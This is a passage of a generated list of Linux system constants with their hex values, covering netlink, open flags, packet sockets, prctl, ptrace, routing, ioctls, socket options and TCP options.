-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x4000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x2401
-- PERF_EVENT_IOC_ENABLE = 0x2400
-- PERF_EVENT_IOC_ID = 0x80082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-- PERF_EVENT_IOC_PERIOD = 0x40082404
-- PERF_EVENT_IOC_REFRESH = 0x2402
-- PERF_EVENT_IOC_RESET = 0x2403
-- PERF_EVENT_IOC_SET_BPF = 0x40042408
-- PERF_EVENT_IOC_SET_FILTER = 0x40082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ARCH_PRCTL = 0x1e
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETFPXREGS = 0x12
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETFPXREGS = 0x13
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SINGLEBLOCK = 0x21
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_SYSEMU = 0x1f
-- PTRACE_SYSEMU_SINGLESTEP = 0x20
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x541b
-- SIOCOUTQ = 0x5411
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x10
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x11
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x12
-- SO_RCVTIMEO = 0x14
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x13
-- SO_SNDTIMEO = 0x15
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x540b
-- TCGETA = 0x5405
-- TCGETS = 0x5401
-- TCGETS2 = 0x802c542a
-- TCGETX = 0x5432
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
